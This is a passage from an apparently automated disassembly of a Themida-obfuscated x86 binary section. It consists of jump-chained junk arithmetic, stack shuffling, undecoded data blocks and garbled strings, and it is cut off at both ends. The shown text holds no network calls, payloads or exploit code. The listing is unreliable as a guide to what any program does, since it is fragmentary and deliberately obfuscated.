mov [esp], esi jmp loc_553385 ; --------------------------------------------------------------------------- loc_5550B7: ; CODE XREF: Themida_:00564D80j add esp, 4 add ebx, esi mov esi, [esp] jmp loc_55E15A ; --------------------------------------------------------------------------- loc_5550C4: ; CODE XREF: Themida_:00564ABEj push 319Fh mov [esp], esi push 61A6h mov [esp], ebp mov ebp, 1D5E2387h sub [esp+4], ebp pop ebp push dword ptr [esp] pop edx add esp, 4 push edi mov edi, 1D5E2387h jmp loc_55B454 ; --------------------------------------------------------------------------- db 89h dd 2434FFCFh, 4C48159h, 8B000000h, 6EE9242Ch db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555107: ; CODE XREF: Themida_:0055DBFDj sub esp, 4 mov [esp], edi mov edi, 321C0008h add ecx, edi pop edi add ecx, 67C816FEh add ecx, edx push eax jmp loc_55955B ; --------------------------------------------------------------------------- dw 3C33h dd 0DF3FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55512E: ; CODE XREF: Themida_:00556437j mov [esp], edi jmp loc_55BEA1 ; --------------------------------------------------------------------------- loc_555136: ; CODE XREF: Themida_:00562471j pop edi pop ebp sub esi, 53CE2C15h sub esi, edx add esi, 53CE2C15h sub esi, 7FB87D94h pop edx jmp loc_560F70 ; --------------------------------------------------------------------------- dw 0C281h dd 76E84F37h, 240C8B5Bh, 0E904C483h, 72Dh, 4C481h, 0BD550000h dd 0 dd 5F9CED81h, 0C529168Dh, 5F9CC581h, 0E889168Dh, 0E92434FFh dd 0F23Dh, 56243C89h, 0B274B8BEh, 0C1DEF711h, 0E68104E6h dd 71225041h, 3B35E9h, 59CE0100h, 4EC81h, 34890000h, 2474FF24h dd 11DE904h, 0D9F70001h, 0BD55D1F7h, 1CB23FF9h, 5E9E931h dd 100001Bh, 0DAF9E9F1h, 0C330000h, 24248B24h, 68240C89h dd 5DDBh, 81242489h, 42404h, 55590000h, 0EF4549BDh, 77CD8111h dd 0C102A32Dh, 0F75506E5h, 815D2414h, 787A3DCDh, 0C5BE5649h dd 1B28305h, 0E9015EF5h, 7FFD685Dh, 34890000h, 4EC8124h dd 89000000h, 7AE9243Ch db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555223: ; CODE XREF: Themida_:00559EEFj add esp, 4 push esi mov esi, 4 sub ecx, esi jmp loc_55CE0A ; --------------------------------------------------------------------------- dw 1489h dd 4EC8124h, 0E9000000h, 0EBF6h ; --------------------------------------------------------------------------- loc_555244: ; CODE XREF: Themida_:00559F98j mov esi, [esp] add esp, 4 jmp loc_56666A ; --------------------------------------------------------------------------- db 1 dd 148B59CFh, 4C48124h, 1000000h, 0BA525FF8h, 1660540Ch dd 3AE8B850h, 0E0C14237h, 366F3507h, 88351F65h, 574F6501h dd 41C07BBFh, 5FF801B9h, 158C329h, 62C381D3h, 5A04DF04h dd 1BA0EB81h, 0E9524BF3h, 2CDh, 8105E7C1h, 675DCDF7h, 44E78115h dd 0C121263Bh, 0F78107E7h, 9315A204h, 0B8A6E9h, 2CD25C00h dd 2CE99C24h, 5BFFFFC2h, 80EFE480h, 0E100C1C4h, 159CE9h dd 24348900h, 564C5668h, 0F23FE94Fh, 248B0000h, 27D1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5552E2: ; CODE XREF: Themida_:00559481j sub edi, 4 jmp loc_557E94 ; --------------------------------------------------------------------------- loc_5552EA: ; CODE XREF: Themida_:0055798Fj xor eax, ebx jmp loc_55FD78 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0E3h dd 6B87D1Fh, 3584F381h, 0DE8950E8h, 85C4E9h db 0 ; --------------------------------------------------------------------------- loc_555305: ; CODE XREF: Themida_:00559912j mov esp, [esp] mov ax, [esp] push eax mov eax, esp jmp loc_558598 ; --------------------------------------------------------------------------- loc_555314: ; CODE XREF: Themida_:005535F8j or edx, eax jmp loc_55D7D9 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 5862E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555326: ; CODE XREF: Themida_:0055D799j mov dx, [esp] push 6F17h mov [esp], ecx push esp push dword ptr [esp] pop ecx jmp loc_5631C2 ; --------------------------------------------------------------------------- loc_55533C: ; CODE XREF: Themida_:005668CAj shr edx, 8 jmp loc_5517F5 ; --------------------------------------------------------------------------- dd 8904EC83h, 0BD66242Ch, 1EE9062Ch, 2800007Bh, 0DF90E9C8h dd 0D366FFFFh, 0E99C243Ch, 0FFFFC187h ; --------------------------------------------------------------------------- loc_555364: ; CODE XREF: Themida_:0055657Dj not ecx or ecx, 67535ADEh shl ecx, 8 add ecx, 0FED9BD4h and edx, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_558F89 ; --------------------------------------------------------------------------- db 81h dd 0C98344C7h, 8BF931CFh, 99E9243Ch, 890000C4h, 0E0892404h dd 405h, 9DE95200h db 0FBh, 2 dup(0) aWhg db 'Whg=',0 ; DATA XREF: Themida_:00551230o dd 24048900h, 7F243481h, 8B44DA07h, 0C481243Ch, 4, 77FF781h dd 0A16844DAh, 89000068h, 0FD89242Ch, 2434FF55h, 8324048Bh dd 0C48304C4h, 242C8B04h, 0E9E78957h, 851Ah, 6E0C158h dd 0C46AD40Dh, 44DB0D15h, 0E9050463h, 35695564h, 2BDB6794h dd 3818E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55540E: ; CODE XREF: Themida_:00565593j add esp, 4 push 483Dh mov [esp], esi push 800h pop esi and eax, esi push dword ptr [esp] mov esi, [esp] push 74D3h mov [esp], edi mov edi, esp jmp loc_55FC9F ; --------------------------------------------------------------------------- loc_555436: ; CODE XREF: Themida_:00560394j push edi mov edi, 5E20AC3Eh xor esi, edi mov edi, [esp] add esp, 4 mov ecx, esi pop esi jmp loc_558B8F ; --------------------------------------------------------------------------- loc_55544C: ; CODE XREF: Themida_:00564CFAj add eax, edi jmp loc_563B62 ; --------------------------------------------------------------------------- aSfk db '\И■K',0 dd 38EF8100h, 11B127Fh, 9BE95FFDh, 0B4FFFFC2h, 1FF4802Dh dd 4EC380h, 4EEB80E3h, 0ABC38058h, 0EB80C328h, 32EB80ABh dd 51BBEB80h, 886DB050h, 0E9C058C1h, 3E1C005h, 0E904E1C0h dd 0CA5Eh, 0BC243481h, 0FF411D7Eh, 34FF2434h, 211E924h dd 0C62D0001h, 106E58Dh, 0F38158C3h, 3E54452Bh, 3383EB81h dd 875317F2h, 0F731243Ch, 0F731FE31h, 5657D6F7h, 1BEE9h dd 58C23100h, 8305E2C1h, 0EC83FFC2h, 240C8904h, 653E00B9h dd 81D1F713h, 9DBEEF1h, 59CA29CBh, 26B7E9h, 68C60100h dd 82Ch, 0E9241489h, 0A83Ah, 55FFC581h, 7AE972D7h, 50FFFFEDh dd 0D85691B8h, 58C30141h, 25C0C381h, 8158087Eh, 4ECh, 243C8900h dd 7C8668h, 24348900h, 2BEh, 0F0895000h, 1FE9C789h, 89000041h dd 9268240Ch, 0E900000Dh, 0F9E5h, 4C7815Fh, 81000000h dd 4C7h, 243C8700h, 24048F5Ch, 3B9BE9h, 7811BA00h, 0F2816118h dd 52D52A80h, 815AD329h, 4D6351C3h, 81C3016Ah, 4D6351EBh dd 91C3816Ah, 6833CD52h, 622Bh, 83241489h, 0C8904ECh, 1E38E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55559A: ; CODE XREF: Themida_:005600A6j mov eax, edx pop edx push dword ptr [esp] pop ebp add esp, 4 push 64BDh mov [esp], edi push 10000h push dword ptr [esp] pop edi add esp, 4 and eax, edi mov edi, [esp] push ebx push esp pop ebx add ebx, 4 push 70B8h mov [esp], edx jmp loc_555B63 ; --------------------------------------------------------------------------- word_5555D6 dw 8B66h ; DATA XREF: Themida_:00551320o dd 74682404h, 89000057h, 0A7E9242Ch, 5E000011h, 18F1B951h dd 85E93B56h, 590000D4h, 50ACC280h, 0FD5CE9h, 240C8700h dd 241C895Ch, 6FEEE956h, 0E5C10000h, 93BE5603h, 814D2668h dd 0C30ECDF6h, 4EE6D124h, 0E1C8F681h, 0F521F5BFh, 215FE95Eh dd 0EEC10000h, 73E94E05h, 8B00005Eh, 0C483241Ch, 0BEADE904h dd 0CF81FFFFh, 70607A9Bh, 1F83C781h, 0ACE93530h db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55564F: ; CODE XREF: Themida_:00565B45j xor eax, ebx xor ebx, eax xor eax, ebx sub esp, 4 mov [esp], ecx jmp loc_5600CF ; --------------------------------------------------------------------------- db 83h dd 0D83002C4h, 8F19E9h, 0F6D58600h, 0E9D586D2h, 0FEAAh dd 0E9C8BE0Fh, 0FEDCh, 0E955B75Bh, 0FFFFD317h ; --------------------------------------------------------------------------- loc_555688: ; CODE XREF: Themida_:00554CE8j mov dh, 0A0h jmp loc_562003 ; --------------------------------------------------------------------------- db 5Fh dd 10B42E9h, 0FDE95C00h db 0E7h, 2 dup(0FFh) byte_55569B db 0FFh ; DATA XREF: Themida_:00551494o a4S db '4$Иа&',0 dw 8100h dd 0AA6AB4EFh, 56EF0154h, 7919DFBEh, 0FF74E914h db 2 dup(0FFh) aNs3 db '╜И3╪',0 ; DATA XREF: Themida_:005513F8o align 4 dd 0C0DDE180h, 0E9D002E9h, 709E68h, 24148900h, 0CBE9A4B6h dd 33000116h, 295C241Ch, 242C8BE8h, 0A313E9h, 68BF5A00h dd 315A1604h, 0F7815EF7h, 7921F06h, 814FDFF7h, 61FC31F7h dd 5FF821E0h, 709A372Dh, 58C2299Fh, 0EDD9E9h db 0 ; --------------------------------------------------------------------------- loc_555709: ; CODE XREF: Themida_:005612AFj xor esi, ebx jmp loc_560245 ; --------------------------------------------------------------------------- dd 24D8B050h, 0F87CE9F4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55571A: ; CODE XREF: Themida_:0055E669j pop esi add esp, 4 sub esi, 4C3078D8h add esi, eax add esi, 4C3078D8h push dword ptr [esp] jmp loc_55264F ; --------------------------------------------------------------------------- loc_555734: ; CODE XREF: Themida_:00563AD9j push edx push ebp mov ebp, 6B9A47C3h or ebp, 0BD15B84h xor ebp, 759631B0h mov edx, ebp jmp loc_557076 ; --------------------------------------------------------------------------- dw 815Ah dd 4C4h, 5E545600h, 4C681h, 67680000h, 89000064h, 0F0BA2414h dd 6827CE64h, 27A3h, 0BE243489h, 58DF2BCDh, 7D7CE681h dd 0F68122EDh, 0CCD2BA0h, 22A2BA52h, 0D2F74ADDh, 55D0C281h dd 0E94A0C21h, 0A3CCh, 0E99C5166h, 0FFFFBD4Bh, 592434FFh dd 25568h, 24148900h, 3E0E68h, 24248900h, 4240483h, 5A2434FFh dd 4C481h, 0E9510000h, 2F1Ah ; --------------------------------------------------------------------------- loc_5557C8: ; CODE XREF: Themida_:00558721j add ebx, 14072542h add ebx, 417219A9h jmp loc_55D673 ; --------------------------------------------------------------------------- loc_5557D9: ; CODE XREF: Themida_:00562287j mov edx, 3D0E2A43h add edx, 0FFFFFFFFh shr edx, 4 and edx, 2ED22A07h jmp loc_55F263 ; --------------------------------------------------------------------------- loc_5557EF: ; CODE XREF: Themida_:0056107Fj mov edi, 2 jmp loc_5548DD ; --------------------------------------------------------------------------- loc_5557F9: ; CODE XREF: Themida_:00563D3Bj mov ebp, 1B6661EEh add ebp, 0E57CCCCDh push ecx push ebp jmp loc_563A51 ; --------------------------------------------------------------------------- db 1 dd 0D8295BD8h, 4705DB2Dh, 6E640557h, 0A2053F47h, 2D0B066Fh dd 34D660CAh, 212068h, 243C8900h, 23B86855h, 815D4D6Ch dd 0B9E4B3F5h, 8BEF893Eh, 0EE9242Ch, 9000043h, 2434FFC8h dd 7220E9h, 5FFD2900h, 6D1BBF57h, 0DFF71D5Bh, 0FFCEE7E9h dd 4C681FFh, 81000000h, 4EEh, 24348700h, 6200E9h, 5BFD0800h dd 66A7F580h, 41B252h, 5A66D0h, 59412CE8h, 0EC81D800h dd 2, 0DFFFE9h, 24148700h, 6624248Bh, 0AC68E9F7h, 0E9000068h dd 75A5h, 0E924248Bh, 0FFFFD23Eh ; --------------------------------------------------------------------------- loc_5558AC: ; CODE XREF: Themida_:005517F0j sub esp, 4 mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 sub ecx, 430735A9h jmp loc_5595DC ; --------------------------------------------------------------------------- aPsT db '(сPИьT',0 align 10h dd 0A9D7EE81h, 0F0015071h, 0F0F3E95Eh, 0FFBBFFFFh, 1EC34FFh dd 5C015EF3h, 15B0824h, 8104244Ch, 0C704246Ch, 0FF6B534Ch dd 0C8B2434h, 4C48124h, 0E9000000h, 0AA5Bh, 0EEE1F281h dd 72E9F0C1h, 810000FDh, 0DCFD4DE9h, 0E5B8501Ch, 2947F12Dh dd 0D0E958C7h, 81000102h, 0A50707E6h, 0AEE68129h, 46713274h dd 2C0C681h, 0C6814850h, 0F9E0A26h, 8CE9F129h, 580000F4h dd 148BD029h, 2596824h, 34890000h, 0C3FDE924h, 4481FFFFh dd 7B950424h, 0E95A05CDh, 0AF25h, 932AAABDh, 0F7DDF74Fh dd 74F581D5h, 8126D100h, 0B5C318EDh, 5A1CE929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555982: ; CODE XREF: Themida_:005643AFj mov ebp, edx mov ebx, ebp jmp loc_55E716 ; --------------------------------------------------------------------------- dd offset dword_5B8A68 align 10h dd 0BA241489h, 6DC06DFAh, 0E95AD501h, 0FFFFEFBCh, 0A73D9A05h dd 2DD8010Ah, 0AA73D9Ah, 81241C8Bh, 4C4h, 24048700h, 0E924248Bh dd 6D8h, 0DAE9F701h, 5E00005Ch, 0E581F587h, 58E24EF0h dd 2FEE952h db 1, 0 ; --------------------------------------------------------------------------- loc_5559D6: ; CODE XREF: Themida_:0055AF05j add esp, 4 loc_5559D9: ; CODE XREF: Themida_:loc_556B06j sub esp, 4 mov [esp], ebx push dword ptr [esp] jmp loc_560291 ; --------------------------------------------------------------------------- dw 0C731h dd 8124048Bh, 4C4h, 0FFC78300h, 979AF781h, 0FD89169Ah dd 0C536E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A06: ; CODE XREF: Themida_:0055B7F1j push dword ptr [esp+4] pop ebp jmp loc_561ED9 ; --------------------------------------------------------------------------- loc_555A10: ; CODE XREF: Themida_:005576D9j sub ebp, 87C20F7h shr ebp, 2 jmp loc_5613D8 ; --------------------------------------------------------------------------- dw 0FE21h dd 39F6815Fh, 5002A261h, 74666B8h, 0DAABE916h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A32: ; CODE XREF: Themida_:00552AC1j pop esi add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] sub esp, 4 jmp loc_557DCB ; --------------------------------------------------------------------------- loc_555A4B: ; CODE XREF: Themida_:00552FE8j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, 4 add ebx, eax pop eax push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_556393 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], edx mov edx, 61CE360Fh sub [esp+4], edx pop edx mov ecx, [esp] push 5F55h mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_559354 ; --------------------------------------------------------------------------- dd 6AE955h, 6C810001h, 64380424h, 80E95B08h, 0BE000053h dd 2, 77CBB951h, 0CBE90A3Dh, 0C10000D0h, 7EE908EAh, 81000109h dd 723309C9h, 0FFBD550Bh, 29FFFFFFh, 0E1815DE9h, 6E3677A0h dd 0FA50C181h, 0B52D59CDh, 14AD341h, 41B505C8h, 5594AD3h dd 0CBA68C3h, 0FFF504E9h db 0FFh byte_555B05 db 68h, 0Bh, 13h ; DATA XREF: Themida_:0055123Co dd 14890000h, 0E9E28924h, 0BC0Dh, 0EBE5655h, 0F7199D55h dd 8C66E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B22: ; CODE XREF: Themida_:0055689Fj sub ecx, 34E736D5h add ecx, ebp add ecx, 34E736D5h add ecx, 74A13F9Ch pop ebp add ecx, 4 xchg ecx, [esp] jmp loc_55E051 ; --------------------------------------------------------------------------- dw 5550h dd 76456568h, 242C8B39h, 4C481h, 0ED810000h, 2B644078h dd 4E9F581h, 20E90E12h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_555B63: ; CODE XREF: Themida_:005555D1j mov edx, 195B7E87h add edx, 0E6A4817Dh sub ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], edi push esp pop edi push edx mov edx, 212768ADh push eax jmp loc_55B2B5 ; --------------------------------------------------------------------------- loc_555B88: ; CODE XREF: Themida_:005528F4j push ecx mov ecx, 0 add ecx, eax push edx mov edx, 0 add edx, ecx xor [edx], ebx jmp loc_55F1F2 ; --------------------------------------------------------------------------- db 66h dd 8AEF8853h, 8803246Ch, 6603247Ch, 81241C8Bh, 2C4h, 48B6600h dd 6410E924h, 4BBB0000h, 213CE370h, 241C8BD8h, 2D04C483h dd 10A34047h, 158C189h, 0D34EE9CBh, 0F2010000h, 236BE9h dd 596600h, 241C8BF8h, 2C04C483h, 2CF32C3Ah, 4F828E9h dd 4F304E9h, 0B753663Ah, 66F828F4h, 87E7E95Bh, 33B30000h dd 10A08E9h, 0EFC15F00h, 69AE906h, 0C4680001h, 89000014h dd 0F1E92414h, 0B7FFFFB9h, 4EC819Eh, 89000000h, 0B1B3241Ch dd 1C8BDD00h, 4C48124h, 28000000h, 0B1ED80FDh, 241C8B66h dd 2C481h, 0E8280000h, 0DC686659h, 14896640h, 27E95024h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C5B: ; CODE XREF: Themida_:00561794j mov [esp], edi not dword ptr [esp] pop edi push ebp mov ebp, 11536925h add edi, ebp pop ebp jmp loc_55FF9D ; --------------------------------------------------------------------------- dd 0BF0CF181h, 0CD010153h, 83240C8Bh, 685004C4h, 3A5F13E9h dd 5CBD3558h, 0D8F735A8h, 8413FB25h, 35D0F765h, 9FFFEF53h dd 5558C529h, 42474FFh, 0FFEEF8E9h, 33F781FFh, 500AD00h dd 2AF968C4h, 96489005h, 2DF8014Ah, 4A964890h, 6BDAE9h db 0 ; --------------------------------------------------------------------------- loc_555CC1: ; CODE XREF: Themida_:00555E0Dj pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55A3B7 ; --------------------------------------------------------------------------- dd 0BB4A55BFh, 5FFA8961h, 0E95AD629h, 0CF80h ; --------------------------------------------------------------------------- loc_555CE0: ; CODE XREF: Themida_:0055DCD9j push ecx push 4 jmp loc_5636BE ; --------------------------------------------------------------------------- loc_555CEB: ; CODE XREF: Themida_:00563E79j pop eax pop ecx add ebp, eax push dword ptr [esp] pop eax add esp, 4 xchg ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_55F8B2 ; --------------------------------------------------------------------------- dd 2868DEF7h, 8900001Fh, 1BB82404h, 2111850Fh, 24048BC6h dd 1F76E9h, 54E28100h, 817B6F71h, 453534F2h, 5AD32908h dd 6D9AE95Ah, 0BA520000h, 261761CEh, 7BBB534Ah, 431E2814h dd 0FE9D3F7h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D4B: ; CODE XREF: Themida_:00560EB7j xor ebx, [esp] mov esp, [esp] jmp loc_55BF44 ; --------------------------------------------------------------------------- dw 6850h dd 49A96A14h, 6A16BA58h, 0C23149A9h, 5B540558h, 0D00179B1h dd 0B15B542Dh, 0E9505A79h, 0D30Bh ; --------------------------------------------------------------------------- loc_555D78: ; CODE XREF: Themida_:00565970j dec edi dec edi add edi, 0AABC7F84h sub ecx, 26C84140h add ecx, edi add ecx, 26C84140h pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi pop eax mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_552216 ; --------------------------------------------------------------------------- loc_555DB5: ; CODE XREF: Themida_:00556968j push ebp jmp loc_560135 ; --------------------------------------------------------------------------- aMhp db '╛h╞>',0 ; DATA XREF: Themida_:00551300o dd 24048900h, 0D184E9h, 4C48300h, 0E0DFE9h, 0E9C8FE00h dd 7D4h dword_555DD8 dd 24048B66h, 8904EC83h, 58E92404h ; DATA XREF: Themida_:0055137Co db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555DE7: ; CODE XREF: Themida_:0055B9EDj sub ecx, ebp jmp loc_557EE2 ; --------------------------------------------------------------------------- dw 0C829h dd 0E9240C8Bh, 3B88h ; --------------------------------------------------------------------------- loc_555DF8: ; CODE XREF: Themida_:005589BFj dec dword ptr [esp] pop ebp shr ebp, 1 xor ebp, 4D456A1Bh dec ebp xor ebp, 635361EFh add edi, ebp jmp loc_555CC1 ; --------------------------------------------------------------------------- aITs db '┴,$TИ,/',0 db 0 ; --------------------------------------------------------------------------- loc_555E1B: ; CODE XREF: Themida_:00551F09j push ebx jmp loc_566D7D ; --------------------------------------------------------------------------- loc_555E21: ; CODE XREF: Themida_:00551681j or eax, 5D8A7AC3h push edx jmp loc_565FC3 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 2474FF24h, 48F5804h, 0F473E924h, 0C581FFFFh dd 68721E67h, 0F581DDF7h, 0D82268FBh, 0B295E9h, 2434FF00h dd 0CE5CE958h, 565CFFFFh, 0D0F8E9h, 2ED8100h, 0E9C6994Dh dd 9941h, 348BF231h, 0E7895724h, 4C781h, 68E90000h, 81000071h dd 3D7FDAEAh, 2434FF0Ch, 83241C8Bh, 0C48104C4h, 4, 0E904C283h dd 5903h, 8306E3C1h, 1C8904ECh, 2414F724h, 0FFF440E9h db 0FFh ; --------------------------------------------------------------------------- loc_555EB1: ; CODE XREF: Themida_:005598BEj push ecx push dword ptr [esp+4] jmp loc_55C6C7 ; --------------------------------------------------------------------------- loc_555EBB: ; CODE XREF: Themida_:0055E5E9j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_552AC6 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 2 dd 0B411ED81h, 6EE94ECCh, 4000036h, 510A2CACh, 0C18030B1h dd 0C6E18080h, 0FFE4A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_555EF1: ; CODE XREF: Themida_:0056445Cj mov [esp], eax sub esp, 4 jmp loc_55F55F ; --------------------------------------------------------------------------- loc_555EFC: ; CODE XREF: Themida_:0055931Cj push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55BC89 ; --------------------------------------------------------------------------- loc_555F14: ; CODE XREF: Themida_:00564811j push dword ptr [edi+eax*4] sub esp, 4 jmp loc_55A1E8 ; --------------------------------------------------------------------------- a1Sf db '1,$ИF',7,0 align 2 loc_555F2A: ; CODE XREF: Themida_:00553B3Dj push esi jmp loc_558E77 ; --------------------------------------------------------------------------- dd 4C2815Ah, 55000000h, 9797E9h db 0 byte_555F3D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055146Co dd 0E92434FFh, 0C1B1h ; --------------------------------------------------------------------------- loc_555F48: ; CODE XREF: Themida_:00563318j mov ecx, 7C655979h sub ebp, ecx pop ecx jmp loc_5545CB ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 583CA468h, 24048B6Dh, 4C481h, 0D0F70000h, 641B68h, 241C8900h dd 0FFFC49E9h db 0FFh ; --------------------------------------------------------------------------- loc_555F75: ; CODE XREF: Themida_:00559777j push eax mov eax, 9F3374Ch sub ebp, eax mov eax, [esp] add esp, 4 add ebp, ebx add ebp, 9F3374Ch pop ebx push 7C44h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] jmp loc_55882E ; --------------------------------------------------------------------------- dw 8EBDh dd 0E977C818h, 0F147h, 2546E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555FB6: ; CODE XREF: Themida_:0055C0C1j xor ecx, ebp inc ecx push edx mov edx, 1E7F2EE6h jmp loc_558DC3 ; --------------------------------------------------------------------------- dd 0E904C483h, 3175h, 4CBDBB53h, 0A9E962B4h, 0F7000021h dd 5E1C1D9h, 31D1E9h, 0E9DFF600h, 3B53h, 3BEBCB81h, 0B9513F82h dd 0A29079Ch, 4BB2E9h, 70EB8100h, 8B087F19h, 0C483243Ch dd 241C3304h, 33241C31h, 835C241Ch, 0C8702C1h, 24248B24h dd 240C8B66h, 5DE6E9h db 0 ; --------------------------------------------------------------------------- loc_556021: ; CODE XREF: Themida_:00556F27j pop ecx push ebx mov ebx, 1Ch sub ebx, 732F159Fh add ebx, edi add ebx, 732F159Fh sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 11B52C45h sub ebx, 17BE55C2h jmp loc_560D9B ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0FFE640E9h, 240481FFh, 4, 6851525Fh, 669B0F3Dh, 0FFEBBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_556071: ; CODE XREF: Themida_:00556AE2j mov ecx, 4C6433A0h push esi mov esi, 0E47017h dec esi xor esi, 78091939h or esi, 27F550A3h dec esi jmp loc_55F36C ; --------------------------------------------------------------------------- aYSA db '╡y яИ',0Dh,'М',0 align 4 dd 9C2404FEh, 0FFB44AE9h, 240CFFFFh, 81240C8Bh, 4C4h, 56E1D100h dd 0F82B9C68h, 0F1295E15h, 59CB015Eh, 4C381h, 0E3E90000h dd 89000010h, 0E6B9240Ch, 8103BC6Ah, 1231DAE9h, 5802E92Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5560DA: ; CODE XREF: Themida_:005643C0j xor edx, ebp xor ebp, edx xor edx, ebp not ebp xchg ebp, edx xchg edx, [esp] push dword ptr [esp] jmp loc_551B8D ; --------------------------------------------------------------------------- loc_5560EF: ; CODE XREF: Themida_:00552CEEj xor edi, 2CA43423h push esi mov esi, 49F75701h or edi, esi jmp loc_5602C5 ; --------------------------------------------------------------------------- dw 405h dd 5000000h, 4, 5C240487h, 0BD57BA2Dh, 68565525h, 163710C8h dd 7721E9h, 40E95D00h, 56000006h, 645DE9h db 0 ; --------------------------------------------------------------------------- loc_55612D: ; CODE XREF: Themida_:005669B9j mov [esp], edi sub esp, 4 mov [esp], ecx push eax push 12F5348Ch jmp loc_558FD8 ; --------------------------------------------------------------------------- byte_556141 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005512E0o dd 8B2434FFh, 0E957240Ch, 3BAAh ; --------------------------------------------------------------------------- loc_556150: ; CODE XREF: Themida_:0055DFE6j mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp imul ecx, eax push ecx pushf jmp loc_5514EB ; --------------------------------------------------------------------------- a1sshg db '1ИИhё',0 align 2 dw 0EC83h dd 24148904h, 164A20BAh, 0BFEA8118h, 81159533h, 7EE9A3C2h dd 5AD001FDh, 8B240487h, 0EB812424h, 14125457h, 55E9C329h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55619B: ; CODE XREF: Themida_:0055D5CEj add eax, ebx add eax, 723E4759h add eax, 70652E0Ch pop ebx jmp loc_565DE1 ; --------------------------------------------------------------------------- aUsP db 'UИя╞',0 dw 8900h dd 0FB82404h, 35649E46h, 61F45473h, 784BE9h, 240C8900h dd 602D3D68h, 0CA31596Ah, 9206E9h, 2F750D00h, 0E8D13FE4h dd 0D624FA2Dh, 0CC7BE9F5h, 3487FFFFh, 6A35E924h db 2 dup(0) aN1Sgc db '╜1ьИg√',0 ; DATA XREF: Themida_:00551360o align 2 dw 0E959h dd 0BB04h, 4C4815Dh, 0E9000000h, 142Dh, 4B0DEA81h, 66E904CBh db 8Eh, 2 dup(0) byte_556213 db 0FFh ; DATA XREF: Themida_:005512D4o dd 34FF2434h, 2434FF24h, 0E3895358h, 0E904EC83h, 0FFFFBA04h dd 4C4815Eh, 8F000000h, 248B2404h, 1C606824h, 4890000h dd 0B2A9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556242: ; CODE XREF: Themida_:00552861j pop edi sub ebp, 4A2E2589h add ebp, 5519DFE5h add esi, ebp mov ebp, [esp] add esp, 4 add esi, 4 jmp loc_560FC7 ; --------------------------------------------------------------------------- db 0BDh dd 7C850592h, 835DEE89h, 48904ECh, 5882B824h, 0C6013243h dd 0CAB95158h, 81559442h, 6BBD35F1h, 59CE01AAh, 5607E6C1h dd 0E92414F7h, 0FFFFE21Bh ; --------------------------------------------------------------------------- loc_556290: ; CODE XREF: Themida_:005588B2j not edx jmp loc_55A1FD ; --------------------------------------------------------------------------- loc_556297: ; CODE XREF: Themida_:0055EE72j shr ebp, 7 push ecx mov ecx, 32444B34h sub ebp, ecx pop ecx shr ebp, 1 push eax push 1D533610h pop eax jmp loc_55E598 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24048B04h, 4C481h, 48F0000h, 3C895C24h, 0DC9BBF24h dd 0E6E94F0Bh, 89000012h, 0F9E9241Ch, 83FFFFDAh, 0EC8304E9h dd 240C8904h, 0D7AAE9h db 0 ; --------------------------------------------------------------------------- loc_5562E5: ; CODE XREF: Themida_:00560A8Aj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55D119 ; --------------------------------------------------------------------------- db 68h, 0B1h, 1Fh dd 0ABE90000h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556307: ; CODE XREF: Themida_:00562BFFj push dword ptr [esp] pop ebx push eax push esp jmp loc_564CCE ; --------------------------------------------------------------------------- loc_556312: ; CODE XREF: Themida_:00563EDAj mov eax, [esp] jmp loc_552FDF ; --------------------------------------------------------------------------- loc_55631A: ; CODE XREF: Themida_:0055980Aj mov ebp, eax jmp loc_564A07 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 